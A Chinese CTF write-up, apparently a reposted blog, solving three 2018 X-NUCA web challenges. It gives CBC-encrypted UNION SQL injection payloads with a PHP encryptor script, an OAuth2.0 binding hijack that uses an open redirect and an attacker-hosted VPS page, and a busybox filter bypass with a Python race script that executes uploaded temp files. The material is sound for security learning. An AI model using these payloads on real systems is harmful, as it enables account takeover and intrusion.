CTF-WEB 2018 X-NUCA

1、题目名code check

上去看是一个登陆的界面,robots 源码泄露什么的都没有,发现通知页有带有参数的url:

http://47.107.236.42:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

不过跑sqlmap没用,但是有一个提醒,说看起来是base64编码,但是直接解码什么也看不出来。

好奇心随意点上一层目录 结果http://47.107.236.42:49882/news可以下载源码 这里使用御剑也可以扫描出来

下载得到源码,获取了id的解密方法

就是一个CBC,先是两次base64解密,然后在CBC解密。直接换个函数,将mdecrypt_generic换为mcrypt_generic就是加密函数,直接在原版函数上更改一下,变为加密解密函数

使用sql注入,需要使用CBC加密之后传入给id=》$re = decode($ori,1);

$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";

$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";

$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";

$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";

我还是贴上代码吧,使用的一个在线php平台很好用的,大家可以用它练习http://www.dooccn.com/php/

<?php

//里面有加密解密 当初用来验证来着
function decode($data,$type){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	if($type==0) //0 解密
    {
    	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    	mcrypt_generic_deinit($td);
    	mcrypt_module_close($td);
    	if(substr(trim($data),-7)!=='hxb2018'){
    		echo '<script>window.location.href="/index.php";</script>';
    	}else{
    		# return substr(trim($data),0,strlen(trim($data))-7);
    		return rtrim($data);
    	}
	}
	else  //1 加密
	{
	    echo $data."\n";
	    $data = mcrypt_generic($td,$data);
	    echo $data."\n";
    	mcrypt_generic_deinit($td);
    	mcrypt_module_close($td);
    	return base64_encode(base64_encode($data));
	}
} 


$id="b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09";

//下面是执行的语句
//$ori = "1 union select 1,2,*,4 from test# "."hxb2018";  
//$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";  
$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";
$re = decode($ori,1);
//' union select database()# 
echo $re."\n";

$res = decode($re,0);
echo $res;
?>

最后我还要啰嗦两句,关于sql注入的concat group_concat sunstr limit等这些函数和关键字 意义其实非常大,无论是一个一个字符的爆破,还是因为显示位置不全需要使用组合函数。

 

2 题目名 Blog  链接:https://www.jianshu.com/p/bc106f7147b1

这里我只是一个简单叙述原理,关于参数获取这个由于题目关闭,大家还是看看原文的吧

该题目已经提示了 使用的提示了第三方登入认证方式是OAuth2.0,类似于微信qqq快捷登录一样的东西,在网上查到不少的利用方式

本题目的第三方登录窗口是这样的

存在的问题是OAuth2.0的一个快捷登录授权劫持问题,问题出现的本质是帐号可重复绑定不同的第三方邮箱,所以让admin绑定上我们注册的邮箱,通过第三方邮箱登入admin帐号即可得到flag。

原理:一个用户绑定邮箱时,根据在更改绑定页面填写的信息,服务器会生成一个state和code进行认证,即只要state和code正确,即可绑定成功,并不校验绑定的账户是什么。所以我们的方法是在绑定时截取流量中的这条带有state和code参数的url,然后在提交bug的位置让管理员机器人去访问,从而使得管理员绑定了我们的邮箱,登录账号之后就可以得到flag。

不过这里有长度要去,所以只能采用跳转了

由于http://106.75.66.211:8000/main/login?next=/main/login 处存在重定向,所以我们可以通过重定向跳转到vps上,即http://106.75.66.211:8000/main/login?next=[your_ip] 在vps上写一个跳转页面

<html>
  <script>
    window.open('http://106.75.66.211:8000/main/oauth/?state=9PKyRdpU5D&code=Y5WjDdELjUMGaJpbYfs9lOPBtgEvrOOvZxmmwZsj')
  </script>
</html>

将vps跳转页面地址压缩成短链(推荐个短链生成地址:https://bitly.com),提交bug,最终提交Url为:http://106.75.66.211:8000/main/login?next=https://bit.ly/2Qiixxx 等待bot访问后利用第三方邮箱登入

 

3.题目名 ezdotso

这个题目刚开始看起来怪吓人的,有一个.so文件,就是linux的链接库文件,登陆网页又有一个源码

<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){  //是否存在action变量
    switch($action){  //判断action变量内容
        case "php_info":  //如果是php_info
        echo call_user_func_array("php_info",$param);
        break;
        case "cmd":  //如果是cmd
        if(isset($cmd)){
            if(is_string($cmd)){
                if (strlen($cmd)>9){  //如果长度大于9
                    die();
                }
                $pat1 = "/[^0-9a-zA-Z \/\*]/";
                if (preg_match($pat1, $cmd)>0){  //如果满足该正则失败
                    die();
                }
                $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
                if (preg_match($pat2, $cmd)==0){  //如果不满足该正则 失败
                    die();
                }
                system("busybox " . $cmd);  //使用busybox执行我们的shell命令了
            }
        } 
        break;
        default:
        echo call_user_func_array("hello",$param);  //默认的case 显示hello信息
        break;
    }
}else{
    show_source(__FILE__);
}

那么我们就看这三条件吧,首先我们要使用cmd命令

  • 其命令串必须长度小于9
  • 满足正则,所有的字符必须在[0-9a-zA-Z \/\*]字符集中
  • 满足正则“部分1 部分2”两者以空格分开,部分1由[a-zA-Z]组成,部分2在此基础上可以有数字和/*两个字符

那就限制了我们可以使用的命令,举个简单的例子“ls”肯定是不行,因为第三个条件就过不去,但ls /home是可以的

这个题目在根目录下使用ls /就可以发现flag文件,直接?action=cmd&cmd=cat /flag就可以得到flag

这里需要强调的是这个匹配[^0-9a-zA-Z \/\*] 我们知道[a-z]表示的是a-z字符集,而[^a-z]匹配的则是任何不在a-z之内的字符,^表示非的意思,演示如下:

        

说明我们的所有字符必须都在[0-9a-zA-Z \/\*]之中,不在之内的都会被匹配出来导致第二个条件失败,而第二个正则还是如上所说。

当然这个只是一个取巧的,这正做的还的是这一个

2018 X-NUCA ezdotso 条件竞争解法  来自https://xz.aliyun.com/t/3476

通过cmd=ls /h*/* 可以发现有个readflag 程序,所以思路比较清晰了运行readflag 就能拿到flag了。
可以通过busybox /h*/r* 但是这样不满足正则。陷入僵局。
php上传产生的临时文件再次发挥了作用
php在上传文件的时候会在/tmp/ 文件夹下面生成/tmp/phpxxxxxx 文件,所以我们可以在上传的同时去执行
sh /t*/p* 刚好9个字符。

import requests
import threading
import os

url = "http://u.cn:3423"

payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"cat /var/www/html/index.php"}

def go():
    r = requests.post(url, params=params, files=files)
    #print(repr(r.text))
    if "0<br>1<br>" != r.text:
        print(r.text)
        os._exit(0)


def upload():
    r = requests.post(url, files=files)

while True:
    t = threading.Thread(target=go, args=())
    t.start()
    #t = threading.Thread(target=upload, args=())
    #t.start()

 

还有有关使用的

https://www.cnblogs.com/niuni-623/p/6520680.html

http://tool.oschina.net/regex

https://www.cn-space.com/2018/11/27/1/

https://xz.aliyun.com/t/3428

 

 

 

 

 

 

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/84893276
今日推荐